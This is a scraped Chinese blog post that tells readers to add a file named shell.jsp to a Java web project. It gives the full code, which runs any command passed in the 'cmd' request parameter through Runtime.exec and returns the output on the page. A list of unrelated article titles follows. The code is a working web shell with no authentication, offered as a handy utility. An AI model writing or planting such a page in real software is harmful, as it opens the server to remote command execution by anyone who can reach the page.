JSP运行Shell并返回结果
来源:互联网 发布:2017中超门将数据统计 编辑:程序博客网 时间:2024/06/11 16:00
在JavaWeb项目中添加一个jsp文件,此处以shell.jsp为例
<%@page import="java.io.IOException"%><%@page import="java.io.InputStreamReader"%><%@page import="java.io.BufferedReader"%><%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%><% String cmd = request.getParameter("cmd"); System.out.println(cmd); Process process = null; List<String> processList = new ArrayList<String>(); try { if (cmd!=null) { process = Runtime.getRuntime().exec(cmd); BufferedReader input = new BufferedReader(new InputStreamReader(process.getInputStream())); String line = ""; while ((line = input.readLine()) != null) { processList.add(line); } input.close(); } } catch (IOException e) { e.printStackTrace(); } String s = ""; for (String line : processList) { s += line + "\n"; } if (s.equals("")) { out.write("null"); }else { out.write(s); }%>
运行效果如下:
0 0
- JSP运行Shell并返回结果
- python运行shell命令并得到返回结果(比C++方便多了)
- Objective_C 调用shell脚本并返回结果
- Servlet执行Shell并返回结果
- 运行dos命令,并查看返回结果
- JSP运行命令行程序并输出结果
- java调用linux中的shell脚本并返回执行结果
- Linux C 执行shell命令并获取返回结果
- 调用程序并等待程序返回运行结果
- 启动Activity并返回结果
- 在python中执行shell命令,并以字符串形式返回命令执行结果
- Linux中用C语言执行shell命令并获取返回结果
- Java调用Linux下的shell命令并将结果以流的形式返回
- android代码执行adb shell终端命令(linux命令)并返回执行结果
- Linux C 程序执行 shell 命令并获取返回结果的方法
- java 如何运行多个任务并处理返回第一个结果
- 分析并写出运行结果
- java jsp调用shell(带参数)脚本并返回值
- Java基础(4):数组的使用方式、理解多维数组概念和简要了解Array类
- Openstack容器化部署研究之:Kolla离线制作Openstack服务的Docker容器镜像
- 【学习记录】2.数组的遍历和访问
- 机器学习学习笔记(4)-----学习器的性能度量
- hdu 2102 A计划 bfs
- JSP运行Shell并返回结果
- xml是什么?什么是XML?XML有什么用处?xml可以用来做什么?为什么要用xml
- ajax
- jsonp详解
- 十进制整数转化为二进制详解
- Tomcat的安装与配置
- Multinomial distribution
- Python入门(七)tuple.dictionary
- 自定义共享元素动画(imageView)